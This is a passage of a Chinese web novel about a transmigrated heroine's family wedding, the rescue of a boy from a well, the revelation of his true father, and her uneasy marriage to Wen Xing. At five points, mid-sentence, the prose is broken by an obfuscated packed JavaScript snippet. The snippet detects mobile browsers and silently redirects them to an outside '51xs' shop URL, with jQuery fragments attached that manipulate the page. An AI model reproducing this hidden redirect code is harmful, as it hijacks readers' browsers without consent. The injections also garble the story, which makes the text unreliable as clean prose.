在场所有人悉数已经看出了姜汾和闻行之间微妙的气氛,姜图图为了防止小两口当着这么多人的面吵架,于是打着圆场道: “好了好了,今天的事都差不多了,闻行,你先带着筠婉回去吧。这里也没什么需要忙的了,我们几个年长的留下来商量一下就行了。” 姜汾明白姜图图的意思,但她还是得站起身来行礼道别,一切的礼数还是得保持周全的。 闻行顺着她来,姜汾笑着起来,他也满脸堆着笑地站起来。姜汾低着头往外走,他往外走时便绝对不抬起头。 直到进入马车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13164818|135928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之后,姜汾才忍无可忍地问他:“闻行,你干什么?” 闻行却是直接覆身压了上来,把头埋进她的怀里,声音难过道:“我早就知道这件事,不告诉你是为了不让你忧愁。” 姜汾看着这个平时在外面杀伐果断的人,此刻在自己身边脆弱的样子,一时之间,有些心软道:“你不告诉我,才是最让我忧愁的。” “我会跟着你一起到塞外去,陪你翻过大雪山,到达草原。” 随着马车在路上慢慢的走,闻行的语调也慢慢地说:“我不会抛下你,我已经向圣上请旨,我会代替我师父,继续驻守北境,你此次前往,可以当做陪我去边疆。” “如果你不喜欢边疆……”闻行突然抬起了脑袋,对着姜汾诚心承诺道:“我会想办法把你送回京城。从此以后,有我在边疆一日,你在京城就不会受欺负。” 姜汾头一次见闻行说这么多话,一时之间有些不知所措,但她也明白了一些闻行的看法,于是告诉闻行: “我不怕,我也不会把自己丢在草原的,总有一天,我会风风光光地回到京城。” “还有……”姜汾话锋一转,直逼闻行问:“闻行,你有没有发现,你现在和以前很不一样。” 闻行立马正襟危坐起来,摇着头忍住笑意告诉她:“我不知道的。” 姜汾回答道:“你现在像只狸花猫,以前的你,更像一只花孔雀。” “这是什么意思。” 面对姜汾的比喻,闻行像是误解了一般,问道:“说我现在像狸花猫,是说我更恋家了吗?” 姜汾摇摇头,告诉他:“是感觉有些喜欢我了。” 被戳穿了之后的闻行面色不变,而耳廓却是红透了,他一时之间看起来更为正经了,压着嗓子喊外面的马夫赶车快一点。 觉得车已经很快了的姜汾不明所以,问闻行道:“怎么了?很快了呀。” 眼看着自己的城池在慢慢地被姜汾瓦解,闻行喉结上下滚动了几下,然后看着姜汾的脸,笑着说:“我想沐浴更衣,你要跟我一起吗?” 还是这个闻行更让人熟悉,姜汾短时间内只想到了这一层面,可等马车到达侯府时,闻行真的脚下生风走进玉蕤轩,姜汾这才意识到一丝一毫的不对劲。 半个时辰后,躲在玉蕤轩一处角落听墙角的姜汾面红耳赤,她抬起手悄悄地戳破窗户纸,发现闻行惬意地坐在浴桶里,而视线却是直接定个在了自己身上。 【我上辈子是怡红院的首席画师,我所做的画让那些王权贵族们拍手叫好,宿主,你需要我给闻行画一幅吗?】 【宿主……】 迟迟没得到宿主回应的李坝坝,感知了半天才发觉正在偷看的姜汾鼻血已经逆流成河了。 正巧此时,不远处传来闻行打开房门走出来的声音,姜汾来不及捂住自己的鼻血,像一头大快朵颐之后的猛兽,一扭一扭地跑了。 闻行只穿了里衣,而且大片肌肤都露在外面,本意是想出来逗逗姜汾,谁知却看到了姜汾落荒而逃的背影。 闻行咧开嘴一笑,心想算是夺回来一城。 34. 成亲 姜沭和黎梓定在六月初三大婚。 日子定得急,很多东西都来不及准备,新嫁娘的衣裳都是裁缝铺里现赶制的,这一切都是为了能让姜汾能够参加这场婚事。 姜汾两头都忙,一边去看赵峤又把呼延阑气成了什么样子,一边又去帮姜沭厘清婚事所需要的东西。 赵峤这边似乎已经把呼延阑的品行参透了一般,每每姜汾前往与他们一起用饭时,呼延阑都会被赵峤气得提前离场。 作为这一切的始作俑者,姜汾嘴上还是要帮呼延阑说两句好话的。 “早点入土为安,古人曾说,眼睛一闭一睁就是一天,眼睛一闭不睁就是一辈子,这样你就不会被赵峤气着了。” 对此,呼延阑对她翻了个白眼,然后转身离去。 姜汾则是欣慰地退在一边继续吃山珍海味,深藏功与名。 或许是被赵峤刺激的,呼延阑的汉话说得是越来越好,不说是流利,起码能让普通人听得明白。 …… 直到这天终于到了姜沭大婚的日子。 姜汾现代的时候,经常闷在图书馆和寝室,一学就是一整天,朋友圈里的人基本上都不联系,导致他们结婚生子都没人叫她。 过了三十年,上一次参加婚宴,还是十二岁参加酗酒家暴老爹的二婚。 所以,姜汾对待姜沭这场婚宴,还是很正式的。 早早地,她就把闻行从床榻上拉起来梳洗打扮。 闻行昨日里有些感冒,为了让他看起来有精气神一些,姜汾大着胆子给他的薄唇用了些胭脂。 闻行表面上带着初醒时的迷糊,实则看见姜汾为自己抹胭脂,立马躲开了些。 “你以前不是还答应给我穿罗裙看的嘛,现在怎么连胭脂都不肯让我给你抹?” “那时……”闻行目光狡黠,嘴唇微微一勾,道:“说了些蜜里调情的话,不当真。” 而后,看着面对面坐着的姜汾,闻行趁她不注意,把她往自己怀里一带,大手一伸,直接抢过了胭脂。 姜汾挣扎着探出脑袋,看着闻行目光中藏不住的挑逗,忍不住问:“你不会要反过来给我抹胭脂吧。” 说实话,她在无脊椎动物语言学苦苦煎熬的那些年,根本没在妆容这方面下过心思,长痘了就吃异维A,提不起精神了就抹点唇釉。 是到了这里,求吉吉教了自己好多次,自己才慢慢学会的。 她以为闻行这种混迹沙场的人,大抵是与自己一样的,可闻行接下来的话却让姜汾目瞪口呆。 “不止,我会描绘你的眉眼,然后为你整理衣冠,我会让你熠熠生辉。” 姜汾面色复杂,眼睁睁看着闻行为自己敷铅粉、画黛眉、点绛唇,直到最后他为自己别上双耳的耳环,姜汾才后知后觉地问:“你怎么会这些。” “那时候在边疆,师母怕我从沙场回来后,万一没有军功傍身,无法加官进爵,有朝一日会沦落为市井小巷中连自己都养不活的人。便悉心教会了我这些。让我以后也算是有一技之长,饿不了肚子。” 姜汾一直都知道闻行对他师父师母感情深厚,怕他伤心,便避开这一茬,不再提及这件事。 她对闻行说:“待会儿我们带上恒暄,之前他一直在京郊,没见过这些,这次我们带他一起去吧。” 本来是要带上闻演的,但他与姜沭和姜溟是同窗,平时难得有一日空闲,倒不如让他随姜沭他们一起,也让时间宽裕些。 闻行点点头,说了声“好”,然后带着姜汾出门。 此次婚宴,并没有邀请太多的宾客,大多只是黎家和姜家的世交。 没有走漏风声,怕的是有人趁机弹劾,状告姜家办喜事都要抢在两国联姻前面,这就是为了抢国运的福气。 况且,姜家作为中立派,不参与其他党派之争,黎家作为维新派,走在很多人前面,两家在朝廷中可谓树敌不少,这么一搞,难免不被有心之人算计。 小心行事才是上策。 一到姜家,闻行便让林恒暄去后院玩。 宾客们都还没到,小孩子们都在后院玩耍,闻行此举也是考虑到林恒暄的朋友太少,害怕他在自己走后会形单影只,便趁此机会,让他多接触外面的世界。 林恒暄一直都会手语,但一直不会发声。这段时间里,他认真学习了很多发声技巧,会说一些简单的话。 让他锻炼一下在外人面前能否说话,也是他们此次带他前来的一个很重要的原因。 姜汾去见了第一次当新郎的姜沭,他穿着一身红衣,见到自己姐姐,还有些恍惚。 姜汾问他为什么恍惚,姜沭则悻悻然说:“从来没想到过,自己会与这么完美的一个人成亲。” 听到他这么期盼的语气,姜汾问他:“你这辈子唯一的坏脾气,算是只给了闻行。” 想了想自己对闻行的态度,姜沭不好意思地摸了摸鼻头,然后说道:“那是因为,他曾经对你做了很多不好的事。” 姜汾以为他在说自己被芙奴害死的事,心想这也是不能怪闻行的,但姜汾还是逗了姜沭一句:“他都做了什么坏事啊?” 姜沭一脸震惊地看着姜汾,讶异道:“姐姐,你不记得了吗?他害得你进青楼啊。” “什么?!” 此时此刻,闻行还在外面与姜图图一起接待前来的宾客,他不会听到姜沭的话,也不会知道姜汾无所适从的惊讶。 “曾经闻行在一次凯旋的时候,为了庆祝难得的胜利,把你带到青楼,给他们军队的人用跳舞来寻欢作乐啊。” 姜汾确实没有这段记忆,她冷静下来,敷衍了姜沭两句,然后躲在无人之处与系统交谈。 姜汾:“是真的吗?” 【李坝坝找了半天记忆存储装置里所有的记忆,我CPU都快□□烧了,并没有发现这一段。】 原主的记忆里没有这段,可姜沭看起来并不像是会说谎的样子,姜汾眸中神色忽明忽暗,她稳住了心态,走出无人之处。 她分别找到了姜溟、柳枝言和姜图图,隐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13178300|135928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晦地询问了这件事,发现他们都有这件事的印象,说明这件事是真实存在的。 可存在的事情,又怎么会被经历过的人自觉抹去。 姜汾百思不得其解,到今天的场合不允许她主动向闻行问清楚,她必须得先沉静下来。 很快,她主动回到了厅堂,不为别的,只因为接亲的人已经将唢呐吹进门了。 姜沭紧张地把黎梓扶出婚轿,按照规矩,新娘的脚不能触地,否则会有很多的不良暗示,所以姜沭很自觉地背上黎梓,直到把他背到厅堂。 姜汾保持着真诚的微笑看着这对好事已成的夫妻。 礼生朗声开始喊道:“日受其精,月润其华,佳偶天成,天神福祝。” 伴随着礼生的声音,两人按照礼数拜高堂天地,而后夫妻对拜。 就在两人头碰头对拜时,姜汾抬起头一晃,却在不经意之间,看到了本不该出现的一个人。 再三打量,姜汾还是确认那人就是呼延阑。 这场婚事,他们连赵家都没邀请,呼延阑又是怎么进来的。 呼延阑同时也注意到了姜汾,他嘴唇上下翕动几番,让姜汾看清了他的嘴型。 他在挑衅:“你的儿子在后院井里。” 姜汾顿时紧张起来,闻行站在她的旁边,感受到她身体的颤抖,还未询问便看见了不远处得意洋洋的呼延阑。 他偏过头,附在姜汾的耳边,问道:“呼延阑说了些什么吗?” 姜汾如实相告:“他说,恒暄在后院井里。” 眸中神色突变,闻行连忙移位到即将退场的姜图图身边,向他说明情况,然后带着两三个身手敏捷的下人赶到了后院。 姜汾也没闲着,她主动走到呼延阑身边,对他说:“殿下,您与赵峤姑娘的婚事还有些未敲定的地方,不如随我来,我们一起商定一下。” 呼延阑没有拒绝,在人海之中,跟着她来到无人之处。 姜汾一声令下,一旁突然窜出一行人,直接扑上了呼延阑。 “别这么急。”呼延阑三两下移位,直接躲开了下人们的绳索,他举起双手,然后说:“别绑我,我可是在救你的儿子,我又没把他推到井里。” 姜汾冷哼一声,不理睬他无所谓的态度,问道:“我并没有做什么太过于友好的事,何来你要帮我这一说。” “你对我不友好,但我本人胸怀坦荡,乐于助人。” 呼延阑三言两句的花言巧语,自然蒙不了姜汾,索性他直接说道:“好歹,你给我找了个我喜欢的妻子。” 或许赵峤在的话,一定会以为这是个天大的笑话,呼延阑竟然会在旁人面前,说自己喜欢赵峤。 同样的道理,姜汾也不相信,呼延阑会在这么短的时间里喜欢上赵峤。 姜汾摆在明面上的质疑,让呼延阑很不爽,他回应道:“你都不知道,我在胡人一族里,从来没有人敢这么对我,可以说,她是敢这么对我,一定是把我当做了特别的人。” 姜汾:“……” 35. 父子 与面前这个人聊不通,姜汾派人把他看好,然后赶向了后院。 一到后院,便听见井里面传出来一丝若有若无地小孩声响,偏偏井口太小,大人们无法下去救人。 这可把在场所有人急得焦头烂额,就在这时,闻演跟着姜溟来到了后院。 他一听说出事了,便急匆匆赶来,一听说需要一个小孩倒立下井抓住林恒暄,他犹豫了一下,却还是在须臾之间义不容辞道:“我来。” 闻演才十二岁,身形并不高大,按理说让他来进行救援是再合理不过的事。 可差错就出在这里,闻演太小了,没有足够的力气支持他将林恒暄托举上来。 万一到时候,闻演拉不住林恒暄,不仅可能会对林恒暄造成第二次坠井,还可能导致自己也不慎掉入井中。 姜汾劝他要好好想想,可闻行却点点头,同意了闻演的想法。 “要是出事了怎么办?” “他也该学会承担一些事,就让他试试吧。” 有了闻行的同意,闻演迅速走到井旁,闻行亲自把碗口粗细大小的绳子绑在他的腰间,正准备把他放下去的时候,闻演却反常地告诉闻行:“我要是能把他救起来,你们一定要答应我一个请求。” 闻行看着他坚定的眼神,似乎是想到了什么,随后一口答应下来:“可以。” 伴随着几个彪形大汉紧张地控制住绳子,闻演头向下探入井中。 彼时,姜图图等人在走完相关婚礼流程后,急匆匆地赶过来。 他们刚刚也没闲着,围住了所有在后院待过的幼童,无论他们的父母亲朋怎么哀求,就是不肯放人。 闻演倒立的姿态维持没多久,血液便在身体里不断向头部回流,导致他开始控制不住地头部发晕,整个人都无法用意识思考。 掉入井中的林恒暄平时根本不会开口表达任何诉求,就算是现在如此危险的时刻,他最多也只是发出几声呜咽。 在从未见过天日的井底,寻找一个这样孩子的位置,简直是天方夜谭。 实在不行了,正当闻演准备拍打绳子,示意上面的人拉自己上去的时候,便听见了一声微弱且嘶哑地声音。 默默确认了声音的来源处,闻演让上面的人把自己拉了上去。 在上面恢复了些体力后,闻演再一次下到井中,可他再怎么往声音开源的那个方向努力,绳子就是不够长。 他张开口叫了两声林恒暄的名字,想让他往自己这边靠一些,可他不知道,林恒暄根本听不到任何声音,他唯一能做的就是待在原地等待有人能够救他。 在这个狭窄且黑暗的地方,他看不见,听不见,更不能说任何的话,只能无助地缩在角落。 无奈,林恒暄再一次回到了上面,趁着恢复体力的空隙,他对闻行说:“不行,还差一点,这绳子能再长一些吗?” “同样粗细的绳子,这已经是最长的了。” 姜图图的话无疑是给在场所有人泼了一盆冷水,“况且,就算有,再往上面加的话,哪怕是打死结,也有可能在一瞬之间断掉,到那时,两个人都会被困在下面。” 正当所有人不知所措时,本该被许多下人严加看守的呼延阑闯到了后院。 “话说,你们这里真的大,假山假水那么多,我都迷路了。” 姜汾看着他根本不拿这里当做别人府邸的模样,瞬间想到一个危险却可行的方法。 “大皇子,你愿意帮个忙吗?” 呼延阑瘪了瘪嘴,毫不留情地控诉她:“有事大皇子,无事老不死的,你这也太能屈能伸了吧。” 被点名指责的姜汾一点也没感到羞愧,她反而一脸淡然道:“帮我一次,日后肯定会报答你的。” 想了想,呼延阑指着闻行对姜汾说:“那你记得让你这位夫君别天天整我,我受不了。” 而后,他径直走到闻演身边,说道:“就你下井啊,怎么样,需要我拖着你吗?” 闻演点点头,说明了自己想要的。 “你站在绳子的末端,用力拉住绳子。然后,后面那几个大汉会拉住你,你只需要保持好倒立的样子进入井中,然后拉好绳子。” “啧。” 呼延阑听完闻演的描述,算是搞清楚了情况,但他还是惊讶了一下,道:“意思是大汉拉住我,我拉你们两个人?” 闻演毫不犹豫地回答:“是。” “行,还挺有挑战,还好我生来便是草原上的鹰,不像你们芪朝人那么羸弱。” 说罢,两人赶趟直接开始了第三次入井。 姜汾看着他们两个毫不犹豫搭救林恒暄的模样,情不自禁感叹:“我终于,看到两个早恋的孩子成长了。” 这一次比刚刚的尝试都要进展顺利,只不过过去了一会儿,绳子便一点一点地收回。 呼延阑上来后,彪形大汉们赶紧一拥而上抓住了绳子末端,然后极尽全力把两个孩子拉了上来。 闻演连续三次上下井,已经感觉脑袋晕晕乎乎的,上来后第一时间便是瘫倒在一旁气喘吁吁。 林恒暄的情况也不好,因为惊吓过度,已经完全失声,瞳孔中看不到一点希望的神色。 闻行把他抱到怀里,大喊着让大夫赶紧过来,然后按照姜图图的指引,把孩子带到屋里休息。 现在,孩子成功救了起来,便到了逮出真凶的时刻。 若是寻常孩子之间的玩闹,导致林恒暄不小心掉到井里,怎么会没有人想到找到大人寻求帮助? 但当时后院是只能让孩子进入的,若是要找凶手,也只能在这群孩子里面找。 就在这时,本来已经失神的林恒暄突然拉住了满腔怒火的姜汾,青白的小手抬起来在空中画了两下。 看不懂林恒暄画的什么,但姜汾立马反应出来这是林恒暄有事要说,便找出来纸笔,交给林恒暄,让他写出来。 虚弱地林恒暄连写东西都是颤抖着写完的,用了很长的时间,写的字也是歪歪扭扭,但是,足够让在场所有人看明白写的是什么。 蔺阳。 那个把林恒暄定做呼延阑最开始的男妻的人。 一计不成,就想到最为简单质朴的方式来试图害死林恒暄了吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13188305|135928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜汾在纸上写:是他推的你吗? 林恒暄摇了摇头,然后继续写:我不认识他,但是他靠近我,告诉我他是蔺阳,然后把我往井边逼,我没办法,被他挤了进去。 挤进井,说的不好听,就是蔺阳推的。 虽然感觉有些不对,但姜汾还是第一时间让呼延阑把蔺阳交出来。 呼延阑把二人交流的纸张拿起来看了一会儿,没说话。 姜汾忍不住问他:“你对于芪朝的字,看得懂吗?” 呼延阑开口即是肯定:“当然看不懂。” 他摆了摆脑袋,说:“蔺阳确实被我带到了姜府,我呢,一到姜府,便让他离我远点,我自己逛逛。我也是在随便逛的时候,发现了掉入井中的小孩。” “我真没想到,他会做出这样的事,作为一个国家的皇子,风度和教养是我的为人之道,我无法忍受。” “从此刻起,我胡人不再庇佑蔺阳,愿意把他交由你们芪朝处理。” 姜汾看着呼延阑义气凛然的模样,立马猜出了什么。 或许蔺阳并不是推林恒暄的凶手。 但是,若他不是凶手,又是为什么,林恒暄会指认蔺阳呢。 碍于场合,姜汾又想到了系统的任务已经很久没有完成了,无奈派人把蔺阳抓了起来,送进开封府。 其实,就算没有今天这一茬,只要蔺阳脱离了匈奴庇佑,叛国这一罪名,就会让蔺阳生不如死。 蔺阳被抓走的时候,姜汾特地去看他,发现他即是跪在地上也绝对不认罪的样子,觉得奇怪。 当天晚上,姜汾在书房里拉着林恒暄的手,在纸上问:真的是他吗? 林恒暄坚持己见地点点头,可姜汾接下来继续问:蔺阳是不是与你有些什么关系。 姜汾的逼问终于让林恒暄沉默了。 见几次三番的问话,都不能使林恒暄开口,姜汾无奈,只能挑了个日子去开封府探望蔺阳。 彼时,蔺阳正向一只脏得无可救药的老鼠,在本就晦暗潮湿的监牢角落里待着。 他的手脚都被打得满是水泡和淤青,姜汾来时,他看到了,想要离姜汾近些,可靠近的方式到最后也只有一个字:爬。 看着他像一条脏兮兮的野狗,看着他慢慢像自己求饶。 他嘴里含了很多血块,让姜汾听不明白他的话,直到仔细辨认,才依稀听出了些。 “求你好好养恒暄长大。” “林恒暄跟你是什么关系,你又为什么求我们善待他?” 姜汾的问话看起来是在问蔺阳,可实则是在问自己。 她好像明白了些什么。 蔺阳听到了姜汾的问话,嘴里呜呜咽咽地根本不回答,只是一个劲儿地磕头。 她想了想,蔺阳投敌的那年,好像便是八年前。 那时候,闻裕还没有捡到林恒暄。 姜汾有些失神,回到侯府时,闻行已经上了早朝回来。 姜汾把他拉到无人的房间,问他:“恒暄是真的姓林吗?” 倒不如直接问:“恒暄是蔺阳的儿子吗?” 36. 动情 闻行听到姜汾的质疑,没有立即回应,而是别扭地扯开话题。 看着他如此这般逃避的模样,姜汾内心便证实了猜测。 “是故意把蔺改成林的吗?” 见实在躲不过去了,闻行才无可奈何地点头。 如果不改,按照当时蔺阳被朝廷处罚的程度,可以说林恒暄的结局到最后只会是死路一条。 姜汾渐渐明白为什么当时蔺阳放着京城数千贵女不看,非要他们侯府这个八岁大的男孩子。 他费尽心思地想把林恒暄带回身边。 只要林恒暄跟着他去到草原,到时候他便可以尽全力补偿这么多年对林恒暄的亏欠。 林恒暄是他唯一的子嗣,他就算是疯魔了,也是一门心思地想要保全和善待这个孩子。 八年以来,他从未回到过芪朝,可这一次,在匈奴与芪朝联姻这个节骨眼上,他冒着被芪朝人唾沫星子淹死的风险,还是回来了。 但他这一门心思的好,换来的只是更多人的痛苦,林恒暄多日之前的上吊寻死,到现在还刻在侯府中人的脑海里,历历在目。 蔺阳的投敌,在八年前害死了家中满门,在八年后,差点连自己唯一的孩子都害死。 姜汾忽然想到一个令人发指的想法,她在傍晚林恒暄有空时,在纸上写下了自己心中的疑惑。 笔落字显:你知道自己的身世吗? 林恒暄犹豫了一下,却还是点点头,然后在纸上写下:他之前趁我在学堂的时候,来看过我。 既然知道了蔺阳是自己的父亲,那么,林恒暄在落井之后的指认为何会如此直截了当,没有半分犹豫。 那是他的亲生父亲,他不会产生一丝一毫的恻隐之心吗? 似乎是看出了姜汾的纠结,林恒暄在纸上写出了真相。 他说,如果想要保住我,他就不能活,否则终有一日,我们俩之间的关系终究有一日会被他人发现。 所以,他只能用如此极端的方式去死。 他因罪被杀,我就能好好地当侯府的公子,以后会前途无量,再也不用承担着他身份所带来的恶名。 蔺阳这是带不走林恒暄便只能永远地留下林恒暄。 【系统上线,提醒您,侯府毒瘤铲除计划进行顺利,开启下一个任务区。】 姜汾无奈离开了林恒暄的房间,走在回玉蕤轩的廊庭上,问系统:“没有任何奖励吗?” 【原本是没有的,但现在可以有了。】 姜汾:“卖关子不如卖情报,告诉我吧。” 【之前在获得赵大战喜爱程度奖励的时候,忘了告诉你,你获得的不仅仅是那把砍刀,你的心声从那时起便可以被闻行听到了。】 姜汾回忆赵大战喜爱程度这个任务都花费了不少时间,可听到系统说闻行从那时起便可以听到自己的心声,她直接原地跪下了。 【今天怎么这么客气?】 闻行从始至终都知道自己在想些什么,自己想做些什么,甚至而言,自己有时候面对他而感到的情不自禁的害羞和难受,他都知道。 就在这时,闻行看到她在玉蕤轩外面徘徊,便走了过来,问:“怎么不进去?” 姜汾难以形容和描述自己的感受,她正打算问闻行时,却发现他完全可以听清楚现在的自己在想些什么。 她觉得自己有些像个笑话,于是问闻行:“都知道了我的一切,为什么还能把我留在玉蕤轩?” 是觉得自己能够完完全全地看清一个人,便自以为是地觉得自己可以掌控住一个人的想法和手段? 闻行看着她面对自己时心态已经完全不相同,一时心急,竟然乱了方寸,“是不是那个不知道是什么的东西又给你说了些不该说的话。” 这么久了,闻行虽然听得到姜汾的心声,但听不到李坝坝的话,他只能从姜汾的一些内心独白猜出,姜汾是在跟着一个不知名的东西交谈。 并且这个东西会一直给姜汾布置一些难以完成的任务,让姜汾不断从棘手的困境中走出来。 有时候,他甚至会怀疑,姜汾与侯府受到的那些非议与窘境,全都是这个不知名的东西搞出来的。 但是,姜汾的态度让他感受到这个东西也不是那么的错误,很多时候,姜汾能从困境中走出来,也是靠它。 【别用它,人家是个可爱的小男孩,应该用他。】 姜汾听着闻行着急的话,想要回驳,却发现自己没有任何立场,她低下头,终究还是一句话都没说便离开了。 接下来几天,姜汾与闻行抬头不见低头见,可就是没有话讲,好几次闻行想要开口,却被姜汾眼底黯然的神色给挡了回去。 姜汾除了在侯府不说话,出门继续给呼延阑和赵峤做媒人的时候,还是一副正常的样子,显得她没有被任何烦心的事干扰。 但是,一个人在心情烦闷的情况下强撑着做事,往往到最后都会被人看出来。 赵峤这天在家绣着喜服,按照之前的想法,本来是要绣凤凰的,但是经过姜汾这么一劝,竟然转念一想,在角落里绣了一小片山河。 不敢绣的太大,怕被外面的人看见后传出去,到时候家中在朝廷做官的所有人都会遭遇一些不必要的弹劾。 但为了满足内心深处那一丝不同于他人的心,她还是违背了常规,为自己绣上了山河。 就当她专心致志绣着一处花草的时候,看见姜汾几乎不可察地叹了口气,她便疑心了些,问道:“怎么了?” 怕姜汾不答,她还补充道:“要嫁豺狼虎豹的人是我,你怎的如此惆怅?” 姜汾原本是打算不说的,但想到日后去到草原,恐怕只有这一个人可以说话了,便向后仰了仰脖子,叹气道: “我有些看不清自己的夫君,到底是怎么个人了。” 怎么会看不清了,之前很多次,系统都告诉她了,说闻行是一个表面会对你很好背地里捅你两三刀的人。 她早该知道的。 她只是控制不住自己的心情会走向低谷,从来没步入过婚姻生活的人,不知道接下来的走向是什么。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13212116|135928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她没有这样的概念,赵峤也没有。 但是,观察自己的父母,赵峤总结道:“一般来说,这样子的夫妻,要么是真动感情了,要么是真想和离了。” 感情…… 和离…… 姜汾认真琢磨这两个词,暗自想了很久,才发现自己竟然是想要与闻行和离了。 “只要是解决了这两件事,我的心情应该会好起来的吧。” 赵峤僵硬地点了点头,然后迟疑道:“或许是的吧。” 思及此,姜汾回到侯府,趁着闻行不在,在宣纸上写下和离书的字样。 然而,仅仅是写下这两个字,她便立马把宣纸揉成纸团扔到角落。 和离这件事,不是现代的三十天离婚冷静期一过就可以离的,可以说,这件事关乎了侯府和姜家所有的利益往来。 她既然占据了姜汾的一系列身份,拥有了她的地位与亲情,那么,她的一举一动就必须切实考虑到她的家人。 况且,姜府里所有人,待她都是顶好的。 为了让姜汾能够看到姜沭成亲,他们甚至可以与黎家商量着把婚期提前,这场不敢声张的婚礼,更像是为姜汾送行的见证。 她不能为了一时的痛快,就抹杀了姜家的利益关系。 想到这儿,姜汾正准备捡起墙角的纸团,把这个冲动之下的产物拿来销毁掉。 可就在这时,闻行突然出现在了姜汾身后,看着她在角落里蹲着找东西的样子,闻行冷不丁地问了一句:“筠婉,你在干什么。” 刚找到纸团的姜汾,不动声色地把纸团揉地更小了些,紧紧握在手里,在转身之际把双手背在身后,然后笑着说:“没有,看着角落里有些灰尘,想要把这里揩一揩。” “这不是你该做的事。” 说罢,他便慢慢靠近姜汾。 姜汾无力地退缩了一下,但这一切都被闻行看在眼里。 闻行尽力掩饰着自己眼神中的失落,可当他真的把那个已经揉皱了的纸团从姜汾那里抢过来,当他亲眼看到纸上的字时,那股失落便彻底变成了难以言喻的感觉。 他尽力像平常一样扯出一个像样的笑容来面对姜汾,可说话的语气已经变得完全不像他。 “姜汾,何必呢?你明明知道我能听到你的所想所念,你做这些隐藏不过是掩耳盗铃,何必呢?” 姜汾低着头不言语,但两人长久的沉默终究是需要人来打破,她想了想,然后还是决定告诉他实情。 “我们俩现在的关系说不清道不明,我想了想,觉得要么是我对你动情,要么就是我想和离了,所以……” “所以?” 闻行终于搞明白了姜汾的心思,他有些难以抑制地抓住姜汾的手,问:“你不肯确认自己对我动了情?” 看着姜汾想要继续不言语的样子,闻行终于忍不住声音中的难受。 一抹不属于正午的和煦阳光照了进来,打在他们身上,像是在为一些即将发生的事情掀开序幕。 “可是,我对你动了情。” 37. 第 37 章 一抹不合时宜的羞赧冲击了姜汾的头脑,她试探性地抬起头看了一眼闻行的眼睛。 那双平日里总是暗藏心事的眼睛,此刻正把他的爱意毫无顾忌地袒露出来,姜汾被他炙热的目光看得有些发热,又犹犹豫豫地低下头。 闻行,你也会喜欢一个人吗? 如果你不喜欢我,是不是会把我像原来的姜汾一样送进青楼? 你喜欢我,还不是事事都瞒我。 这不是喜欢,更多是对豢养的小猫小狗的一种施舍,哪日里,我不小心抓伤了你,你未必不会把我丢弃。 但是,姜汾不在意了。 她马上要去草原,就算到时候能从匈奴手中逃出来来,等回到京城,也是要三年五载的。 到时候,谁还会在意谁呢? 闻行在现在说对自己有情,几年后应该就会磨灭这种无端产生且虚无缥缈的感觉。 所以,姜汾噙着笑回应:“谢谢你,谢谢你。” 她不是接受了闻行的感情,她只是觉得,就算闻行会在边境驻守,他们今后能够相见的机率也是少之又少。 既然如此,就没有必要在现在撕破脸皮。 好好的把这场伴随着欺瞒的戏演好,对她,对闻行,都是目前最好的结局。 面对姜汾接连两声谢谢,闻行不解道:“为什么用谢谢这种话来搪塞我?” 姜汾摇了摇头,说:“不是搪塞,是接受。” 闻言,闻行脸上终于浮现出一丝欣喜的神色,正想要与姜汾亲近一些,却被姜汾扯开话题。 “上次演哥儿说,如果他成功把恒暄救起来了,就让我们实现他一个心愿,你可问过,他想要些什么?” 闻演最想要的是什么,侯府没有人不知道。 之前纠缠了池年那么久,整天叫嚣着要娶池年。 若不是姜汾亲自插手,这种以爱为名的骚扰可能会困扰池年更长时间。 当时为了救恒暄,脑袋一昏就答应了下来。 既然答应了,就必须诚实守信,帮助他解决他的心愿。 但此解决方法可能会另辟蹊径一些,毕竟,不能以牺牲池年为代价来满足他们的想法。 姜汾需要先确认闻演的想法,然后再逐步解决。 闻行说:“他想要我们找池年……” 果然,这一刻还是来了吗? “告诉她……” 不要先告诉啊,会让池年严肃的啊。 